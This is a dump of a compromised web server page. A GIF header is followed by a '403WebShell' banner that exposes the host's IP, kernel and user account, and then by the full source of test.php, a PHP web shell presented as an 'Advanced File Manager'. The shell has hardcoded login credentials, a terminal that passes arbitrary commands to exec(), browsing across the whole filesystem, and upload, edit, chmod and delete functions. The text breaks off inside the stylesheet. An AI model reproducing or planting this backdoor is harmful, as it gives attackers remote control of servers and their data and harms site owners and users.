GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 216.73.217.14
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1160.144.1.el7.tuxcare.els5.x86_64 #1 SMP Wed May 13 12:31:54 UTC 2026 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/econtech/public_html/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/econtech/public_html/public/test.php
<?php
session_start();

// ===================== KONFIGURASI =====================
$CONFIG = [
    'username' => 'mktgf',
    'password' => 'kudajanganikut',
    'base_path' => dirname(__FILE__),
    'root_path' => '/',
    
    'allowed_extensions' => ['txt', 'pdf', 'jpg', 'png', 'gif', 'zip', 'php', 'html', 'js', 'css', 'json', 'xml', 'md', 'env', 'ini', 'sql', 'log'],
    'max_upload_size' => 50 * 1024 * 1024,
    'enable_terminal' => true,
    'enable_search' => true,
    'terminal_history' => 30,
    'theme' => 'dark',
    'session_timeout' => 3600,
    'allow_parent_navigation' => true,
    'allow_root_navigation' => true,
    'enable_file_edit' => true,
    'enable_chmod' => true,
    'enable_rename' => true,
    'enable_create_file' => true,
];

// ===================== FUNGSI BANTU =====================
function formatSize($bytes) {
    if ($bytes == 0) return "0 B";
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = floor(log($bytes, 1024));
    return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
}

function is_text_file($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $text_extensions = ['txt', 'php', 'html', 'htm', 'js', 'css', 'json', 'xml', 'md', 'env', 'htaccess', 'ini', 'config', 'log', 'sql', 'yaml', 'yml', 'csv', 'py', 'sh', 'bash'];
    return in_array($ext, $text_extensions);
}

function getPermissionString($path) {
    if (!file_exists($path)) return 'N/A';
    $perms = fileperms($path);
    
    $info = '';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

function getPermissionOctal($path) {
    return substr(sprintf('%o', fileperms($path)), -4);
}

// ===================== FUNGSI NAVIGASI YANG DIPERBAIKI =====================
function getCurrentPath($requested_path, $base_path) {
    global $CONFIG;
    
    // Jika tidak ada path yang diminta, gunakan base path
    if (empty($requested_path)) {
        return realpath($base_path);
    }
    
    // Jika path adalah '/', kembalikan root jika diizinkan
    if ($requested_path === '/') {
        return $CONFIG['allow_root_navigation'] ? '/' : realpath($base_path);
    }
    
    // Jika path dimulai dengan '/', itu adalah absolute path
    if (strpos($requested_path, '/') === 0) {
        // Jika root navigation tidak diizinkan, kembalikan base path
        if (!$CONFIG['allow_root_navigation']) {
            return realpath($base_path);
        }
        // Pastikan path aman (tidak keluar dari root)
        $real_path = realpath($requested_path);
        return $real_path !== false ? $real_path : realpath($base_path);
    }
    
    // Path relatif - gabungkan dengan base path
    $full_path = rtrim($base_path, '/') . '/' . ltrim($requested_path, '/');
    $real_path = realpath($full_path);
    
    // Jika path tidak valid, kembalikan base path
    if ($real_path === false) {
        return realpath($base_path);
    }
    
    return $real_path;
}

function getParentDirectory($current_path) {
    if ($current_path === '/' || $current_path === '' || $current_path === '.') {
        return null;
    }
    
    $parent = dirname($current_path);
    
    // Jika parent sama dengan current atau sudah di root
    if ($parent === $current_path || $parent === '.' || $parent === '/') {
        return '/';
    }
    
    return $parent;
}

function generateBreadcrumb($current_path, $base_path) {
    global $CONFIG;
    
    $breadcrumb = '<div class="breadcrumb-container">';
    
    // Tombol Root
    $breadcrumb .= '<a href="?path=/&tab=files" class="breadcrumb-item root" title="Root filesystem">
                        <i class="fas fa-server"></i> /
                    </a>';
    
    // Jika current path bukan root
    if ($current_path !== '/' && $current_path !== $base_path) {
        // Tombol Home (base path)
        $breadcrumb .= '<span class="breadcrumb-separator"><i class="fas fa-chevron-right"></i></span>';
        $breadcrumb .= '<a href="?path=&tab=files" class="breadcrumb-item home" title="Home directory">
                            <i class="fas fa-home"></i> Home
                        </a>';
        
        // Pecah path menjadi bagian-bagian
        $relative_path = '';
        if ($current_path !== '/' && strpos($current_path, $base_path) === 0) {
            $relative_path = substr($current_path, strlen($base_path));
        } else {
            $relative_path = $current_path;
        }
        
        $parts = explode('/', trim($relative_path, '/'));
        $accumulated = '';
        
        foreach ($parts as $index => $part) {
            if (empty($part)) continue;
            
            $accumulated .= '/' . $part;
            $is_last = ($index === count($parts) - 1);
            
            $breadcrumb .= '<span class="breadcrumb-separator"><i class="fas fa-chevron-right"></i></span>';
            
            if ($is_last) {
                $breadcrumb .= '<span class="breadcrumb-item current">
                                    <i class="fas fa-folder-open"></i> ' . htmlspecialchars($part) . '
                                </span>';
            } else {
                // Untuk navigasi, kita perlu menghitung path yang benar
                $nav_path = '';
                if ($current_path !== '/' && strpos($current_path, $base_path) === 0) {
                    // Path di dalam base path
                    $nav_path = substr($base_path . $accumulated, strlen($base_path));
                    $nav_path = ltrim($nav_path, '/');
                } else {
                    // Path di luar base path (root navigation)
                    $nav_path = ltrim($accumulated, '/');
                }
                
                $breadcrumb .= '<a href="?path=' . urlencode($nav_path) . '&tab=files" class="breadcrumb-item">
                                    <i class="fas fa-folder"></i> ' . htmlspecialchars($part) . '
                                </a>';
            }
        }
    } else if ($current_path === '/') {
        $breadcrumb .= '<span class="breadcrumb-separator"><i class="fas fa-chevron-right"></i></span>';
        $breadcrumb .= '<span class="breadcrumb-item current">
                            <i class="fas fa-server"></i> Root Filesystem
                        </span>';
    } else {
        $breadcrumb .= '<span class="breadcrumb-separator"><i class="fas fa-chevron-right"></i></span>';
        $breadcrumb .= '<span class="breadcrumb-item current">
                            <i class="fas fa-home"></i> Home
                        </span>';
    }
    
    $breadcrumb .= '</div>';
    return $breadcrumb;
}

function searchFiles($dir, $search_term, $max_depth = 3, $current_depth = 0) {
    $results = [];
    
    if ($current_depth >= $max_depth) {
        return $results;
    }
    
    if (!is_dir($dir) || !is_readable($dir)) {
        return $results;
    }
    
    $items = @scandir($dir);
    if ($items === false) {
        return $results;
    }
    
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        
        $full_path = $dir . '/' . $item;
        
        // Cek apakah nama file mengandung search term
        if (stripos($item, $search_term) !== false) {
            $results[] = [
                'path' => $full_path,
                'name' => $item,
                'is_dir' => is_dir($full_path),
                'size' => is_dir($full_path) ? null : @filesize($full_path),
                'modified' => @filemtime($full_path),
                'permission' => getPermissionString($full_path)
            ];
        }
        
        // Jika folder, search secara recursive
        if (is_dir($full_path)) {
            $sub_results = searchFiles($full_path, $search_term, $max_depth, $current_depth + 1);
            $results = array_merge($results, $sub_results);
        }
    }
    
    return $results;
}

function rmdir_recursive($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return @unlink($dir);
    
    $items = @scandir($dir);
    if ($items === false) return false;
    
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . '/' . $item;
        is_dir($path) ? rmdir_recursive($path) : @unlink($path);
    }
    return @rmdir($dir);
}

// ===================== CEK LOGIN =====================
if (!isset($_SESSION['logged_in'])) {
    if (isset($_POST['login'])) {
        if ($_POST['username'] === $CONFIG['username'] && $_POST['password'] === $CONFIG['password']) {
            $_SESSION['logged_in'] = true;
            $_SESSION['terminal_history'] = [];
            $_SESSION['login_time'] = time();
        } else {
            $error = "Login gagal! Username atau password salah.";
        }
    }
    
    if (!isset($_SESSION['logged_in'])) {
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <title>Login - Advanced File Manager</title>
            <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
            <style>
                * { margin: 0; padding: 0; box-sizing: border-box; }
                body { 
                    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                    min-height: 100vh;
                    display: flex;
                    align-items: center;
                    justify-content: center;
                    padding: 20px;
                }
                .login-box {
                    background: white;
                    padding: 40px;
                    border-radius: 15px;
                    box-shadow: 0 20px 60px rgba(0,0,0,0.3);
                    width: 100%;
                    max-width: 400px;
                }
                .logo {
                    font-size: 48px;
                    color: #667eea;
                    margin-bottom: 20px;
                    text-align: center;
                }
                h1 {
                    text-align: center;
                    margin-bottom: 30px;
                    color: #333;
                }
                .form-group {
                    margin-bottom: 20px;
                }
                input {
                    width: 100%;
                    padding: 12px 15px;
                    border: 2px solid #e0e0e0;
                    border-radius: 8px;
                    font-size: 16px;
                }
                input:focus {
                    outline: none;
                    border-color: #667eea;
                }
                button {
                    width: 100%;
                    padding: 14px;
                    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                    color: white;
                    border: none;
                    border-radius: 8px;
                    font-size: 16px;
                    font-weight: 600;
                    cursor: pointer;
                    margin-top: 10px;
                }
                .error {
                    background: #fee;
                    color: #d33;
                    padding: 10px;
                    border-radius: 6px;
                    margin-bottom: 20px;
                    border-left: 4px solid #d33;
                }
                .config-info {
                    background: #e8f4fd;
                    padding: 15px;
                    border-radius: 8px;
                    margin-top: 20px;
                    font-size: 14px;
                    border-left: 4px solid #4299e1;
                }
            </style>
        </head>
        <body>
            <div class="login-box">
                <div class="logo"><i class="fas fa-server"></i></div>
                <h1>Advanced File Manager</h1>
                <?php if(isset($error)) echo '<div class="error">'.$error.'</div>'; ?>
                <form method="POST">
                    <div class="form-group">
                        <input type="text" name="username" placeholder="Username" required>
                    </div>
                    <div class="form-group">
                        <input type="password" name="password" placeholder="Password" required>
                    </div>
                    <button type="submit" name="login">Login</button>
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}

// Cek session timeout
if (isset($_SESSION['login_time']) && (time() - $_SESSION['login_time'] > $CONFIG['session_timeout'])) {
    session_destroy();
    header('Location: ?');
    exit;
}

// Inisialisasi terminal history
if (!isset($_SESSION['terminal_history'])) {
    $_SESSION['terminal_history'] = [];
}

// ===================== VARIABEL PATH =====================
$requested_path = isset($_GET['path']) ? $_GET['path'] : '';
$current_path = getCurrentPath($requested_path, $CONFIG['base_path']);
$parent_directory = getParentDirectory($current_path);
$active_tab = isset($_GET['tab']) ? $_GET['tab'] : 'files';
$search_term = isset($_GET['search']) ? trim($_GET['search']) : '';
$search_results = [];

// ===================== PROSES FILE OPERATIONS =====================
$message = $error = '';

// Edit File
if (isset($_GET['action']) && $_GET['action'] == 'edit' && isset($_GET['file']) && $CONFIG['enable_file_edit']) {
    $file_to_edit = $current_path . '/' . urldecode($_GET['file']);
    if (file_exists($file_to_edit) && is_file($file_to_edit) && is_readable($file_to_edit)) {
        if (is_text_file(basename($file_to_edit))) {
            $file_content = file_get_contents($file_to_edit);
            $editing_file = urldecode($_GET['file']);
        } else {
            $error = "Hanya file teks yang bisa diedit.";
        }
    } else {
        $error = "File tidak ditemukan atau tidak bisa dibaca.";
    }
}

// Save Edited File
if (isset($_POST['save_edit']) && $CONFIG['enable_file_edit']) {
    $file_to_save = $current_path . '/' . urldecode($_POST['edit_filename']);
    $file_content = $_POST['file_content'];
    
    if (file_exists($file_to_save) && is_writable($file_to_save)) {
        if (file_put_contents($file_to_save, $file_content) !== false) {
            $message = "File berhasil disimpan!";
        } else {
            $error = "Gagal menyimpan file.";
        }
    } else {
        $error = "File tidak ditemukan atau tidak bisa ditulis.";
    }
}

// Rename File/Folder
if (isset($_POST['rename_item']) && $CONFIG['enable_rename']) {
    $old_name = $current_path . '/' . urldecode($_POST['old_name']);
    $new_name = $current_path . '/' . $_POST['new_name'];
    
    if (file_exists($old_name)) {
        if (!file_exists($new_name)) {
            if (rename($old_name, $new_name)) {
                $message = "Berhasil mengganti nama!";
                header("Location: ?path=" . urlencode($requested_path) . "&tab=files&message=" . urlencode($message));
                exit;
            } else {
                $error = "Gagal mengganti nama.";
            }
        } else {
            $error = "Nama baru sudah ada.";
        }
    } else {
        $error = "File/folder tidak ditemukan.";
    }
}

// Create New File
if (isset($_POST['create_file']) && $CONFIG['enable_create_file']) {
    $new_file = $current_path . '/' . $_POST['new_filename'];
    
    if (!file_exists($new_file)) {
        if (touch($new_file)) {
            $message = "File berhasil dibuat!";
            if (!empty($_POST['file_content'])) {
                file_put_contents($new_file, $_POST['file_content']);
            }
            header("Location: ?path=" . urlencode($requested_path) . "&tab=files&message=" . urlencode($message));
            exit;
        } else {
            $error = "Gagal membuat file.";
        }
    } else {
        $error = "File sudah ada.";
    }
}

// Change Permission
if (isset($_POST['change_permission']) && $CONFIG['enable_chmod']) {
    $file_to_chmod = $current_path . '/' . urldecode($_POST['chmod_filename']);
    $new_permission = $_POST['new_permission'];
    
    if (preg_match('/^[0-7]{3,4}$/', $new_permission)) {
        $permission_octal = octdec($new_permission);
        if (chmod($file_to_chmod, $permission_octal)) {
            $message = "Permission berhasil diubah menjadi " . $new_permission;
        } else {
            $error = "Gagal mengubah permission.";
        }
    } else {
        $error = "Format permission tidak valid. Gunakan format octal (misal: 755).";
    }
}

// Upload file
if (isset($_FILES['file_upload']) && $active_tab == 'files') {
    $target_file = $current_path . '/' . basename($_FILES['file_upload']['name']);
    
    if ($_FILES['file_upload']['error'] == UPLOAD_ERR_OK) {
        if ($_FILES['file_upload']['size'] <= $CONFIG['max_upload_size']) {
            if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $target_file)) {
                $message = "File uploaded successfully!";
            } else {
                $error = "Failed to upload file.";
            }
        } else {
            $error = "File too large. Maximum: " . formatSize($CONFIG['max_upload_size']);
        }
    } else {
        $error = "Upload error.";
    }
}

// Buat folder
if (isset($_POST['new_folder']) && !empty($_POST['folder_name']) && $active_tab == 'files') {
    $new_folder = $current_path . '/' . htmlspecialchars($_POST['folder_name']);
    if (!file_exists($new_folder)) {
        mkdir($new_folder, 0755, true);
        $message = "Folder created successfully!";
        header("Location: ?path=" . urlencode($requested_path) . "&tab=files&message=" . urlencode($message));
        exit;
    } else {
        $error = "Folder already exists!";
    }
}

// Hapus file/folder
if (isset($_GET['delete']) && $active_tab == 'files') {
    $item = urldecode($_GET['delete']);
    $item_path = $current_path . '/' . $item;
    
    if (file_exists($item_path)) {
        if (is_dir($item_path)) {
            rmdir_recursive($item_path);
        } else {
            unlink($item_path);
        }
        $message = "Item deleted successfully!";
        header("Location: ?path=" . urlencode($requested_path) . "&tab=files&message=" . urlencode($message));
        exit;
    }
}

// Terminal command
if (isset($_POST['terminal_command']) && $active_tab == 'terminal' && $CONFIG['enable_terminal']) {
    $command = trim($_POST['terminal_command']);
    $output_array = [];
    $return_var = 0;
    
    chdir($current_path);
    @exec($command . " 2>&1", $output_array, $return_var);
    $output = implode("\n", $output_array);
    
    array_unshift($_SESSION['terminal_history'], [
        'command' => $command,
        'output' => $output,
        'time' => date('H:i:s'),
        'return' => $return_var
    ]);
    
    if (count($_SESSION['terminal_history']) > $CONFIG['terminal_history']) {
        array_pop($_SESSION['terminal_history']);
    }
}

// Logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ?');
    exit;
}

// Download file
if (isset($_GET['download'])) {
    $file = $current_path . '/' . urldecode($_GET['download']);
    if (file_exists($file) && !is_dir($file) && is_readable($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// Proses Search
if ($CONFIG['enable_search'] && $search_term && $active_tab == 'files') {
    $search_results = searchFiles($current_path, $search_term);
}

// ===================== HTML OUTPUT =====================
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Advanced File Manager</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        :root {
            --primary: #4CAF50;
            --primary-light: #81C784;
            --primary-dark: #388E3C;
            --secondary: #FF9800;
            --secondary-light: #FFB74D;
            --secondary-dark: #F57C00;
            --accent: #2196F3;
            --accent-light: #64B5F6;
            --accent-dark: #1976D2;
            
            --dark: #121212;
            --dark-medium: #1E1E1E;
            --dark-light: #2D2D2D;
            --light: #FFFFFF;
            --light-gray: #F5F5F5;
            --medium-gray: #E0E0E0;
            --gray: #9E9E9E;
            --dark-gray: #616161;
            
            --success: #4CAF50;
            --success-light: #C8E6C9;
            --danger: #F44336;
            --danger-light: #FFCDD2;
            --warning: #FF9800;
            --warning-light: #FFE0B2;
            --info: #2196F3;
            --info-light: #BBDEFB;
            
            --text-primary: #FFFFFF;
            --text-secondary: #E0E0E0;
            --text-tertiary: #BDBDBD;
            --text-link: #81C784;
            --text-link-hover: #4CAF50;
            --text-highlight: #FFB74D;
            --text-inverse: #212121;
            
            --border: #424242;
            --border-light: #616161;
            --shadow: rgba(0, 0, 0, 0.4);
            --shadow-light: rgba(0, 0, 0, 0.2);
        }
        
        * { 
            margin: 0; 
            padding: 0; 
            box-sizing: border-box; 
        }
        
        body { 
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: var(--dark);
            color: var(--text-primary);
            line-height: 1.6;
            font-size: 16px;
        }
        
        a {
            color: var(--text-link);
            text-decoration: none;
            transition: color 0.2s ease;
        }
        
        a:hover {
            color: var(--text-link-hover);
            text-decoration: underline;
        }
        
        .container {
            max-width: 1400px;
            margin: 0 auto;
            padding: 20px;
        }
        
        .header {
            background: linear-gradient(135deg, var(--dark-medium) 0%, var(--dark) 100%);
            color: var(--text-primary);
            padding: 25px 30px;
            border-radius: 12px;
            margin-bottom: 25px;
            box-shadow: 0 10px 30px var(--shadow);
            border: 1px solid var(--border);
        }
        
        .header-top {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            flex-wrap: wrap;
            gap: 20px;
        }
        
        .header-top h1 {
            display: flex;
            align-items: center;
            gap: 15px;
            font-size: 28px;
            margin: 0;
            color: var(--text-primary);
        }
        
        .breadcrumb-container {
            display: flex;
            align-items: center;
            flex-wrap: wrap;
            gap: 8px;
            background: var(--dark-light);
            padding: 15px 20px;
            border-radius: 10px;
            margin: 15px 0;
            border: 1px solid var(--border);
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
            gap: 10px;
            padding: 8px 15px;
            color: var(--text-primary);
            text-decoration: none;
            border-radius: 6px;
            transition: all 0.3s;
            max-width: 250px;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
            background: var(--dark-medium);
            border: 1px solid var(--border);
        }
        
        .breadcrumb-item:hover:not(.current) {
            background: var(--primary-dark);
            color: var(--text-primary);
            border-color: var(--primary);
        }
        
        .breadcrumb-item.home {
            background: var(--primary);
            color: var(--text-primary);
            border-color: var(--primary-light);
        }
        
        .breadcrumb-item.root {
            background: var(--accent);
            color: var(--text-primary);
            border-color: var(--accent-light);
        }
        
        .breadcrumb-item.current {
            background: var(--accent);
            color: var(--text-primary);
            font-weight: 600;
            border-color: var(--accent-light);
        }
        
        .breadcrumb-separator {
            color: var(--gray);
            display: flex;
            align-items: center;
        }
        
        .nav-bar {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 25px;
            padding: 20px;
            background: var(--dark-medium);
            border-radius: 10px;
            box-shadow: 0 4px 15px var(--shadow);
            border: 1px solid var(--border);
            flex-wrap: wrap;
            gap: 20px;
        }
        
        .quick-actions {
            display: flex;
            gap: 15px;
            flex-wrap: wrap;
            align-items: center;
        }
        
        .back-button {
            display: inline-flex;
            align-items: center;
            gap: 10px;
            padding: 10px 20px;
            background: var(--accent);
            color: var(--text-primary);
            text-decoration: none;
            border-radius: 8px;
            transition: all 0.3s;
            border: 1px solid var(--accent-light);
        }
        
        .back-button:hover {
            background: var(--accent-dark);
            transform: translateX(-3px);
            text-decoration: none;
        }
        
        .btn {
            padding: 8px 15px;
            border: none;
            border-radius: 6px;
            font-size: 14px;
            cursor: pointer;
            transition: all 0.3s;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            font-weight: 500;
            border: 1px solid transparent;
        }
        
        .btn-sm { 
            padding: 6px 12px; 
            min-width: 36px;
            font-size: 13px;
        }
        
        .btn-primary { 
            background: var(--primary); 
            color: var(--text-primary);
            border-color: var(--primary-light);
        }
        
        .btn-primary:hover { 
            background: var(--primary-dark); 
            transform: translateY(-2px);
        }
        
        .btn-success { 
            background: var(--success); 
            color: var(--text-primary);
            border-color: var(--success-light);
        }
        
        .btn-success:hover { 
            background: var(--primary-dark); 
            transform: translateY(-2px);
        }
        
        .btn-danger { 
            background: var(--danger); 
            color: var(--text-primary);
            border-color: var(--danger-light);
        }
        
        .btn-danger:hover { 
            background: #D32F2F; 
            transform: translateY(-2px);
        }
        
        .btn-warning { 
            background: var(--warning); 
            color: var(--text-inverse);
            border-color: var(--warning-light);
        }
        
        .btn-warning:hover { 
            background: #F57C00; 
            color: var(--text-inverse);
            transform: translateY(-2px);
        }
        
        .btn-info { 
            background: var(--info); 
            color: var(--text-primary);
            border-color: var(--info-light);
        }
        
        .btn-info:hover { 
            background: var(--accent-dark); 
            transform: translateY(-2px);
        }
        
        .btn-secondary { 
            background: var(--dark-gray); 
            color: var(--text-primary);
            border-color: var(--gray);
        }
        
        .btn-secondary:hover { 
            background: var(--dark); 
            transform: translateY(-2px);
        }
        
        .tabs {
            display: flex;
            background: var(--dark-medium);
            border-radius: 12px;
            overflow: hidden;
            margin-bottom: 30px;
            box-shadow: 0 5px 20px var(--shadow);
            border: 1px solid var(--border);
        }
        
        .tab {
            padding: 18px 35px;
            background: none;
            border: none;
            font-size: 16px;
            font-weight: 600;
            color: var(--text-secondary);
            cursor: pointer;
            display: flex;
            align-items: center;
            gap: 12px;
            transition: all 0.3s;
            border-bottom: 3px solid transparent;
        }
        
        .tab:hover {
            background: var(--dark-light);
            color: var(--text-primary);
        }
        
        .tab.active {
            background: var(--dark-light);
            color: var(--primary);
            border-bottom-color: var(--primary);
        }
        
        .tab-content {
            display: none;
            background: var(--dark-medium);
            border-radius: 12px;
            padding: 30px;
            box-shadow: 0 5px 20px var(--shadow);
            border: 1px solid var(--border);
            animation: fadeIn 0.3s ease-out;
        }
        
        .tab-content.active { 
            display: block; 
        }
        
        @keyframes fadeIn {
            from { 
                opacity: 0; 
                transform: translateY(15px); 
            }
            to { 
                opacity: 1; 
                transform: translateY(0); 
            }
        }
        
        .file-list {
            background: var(--dark-medium);
            border-radius: 12px;
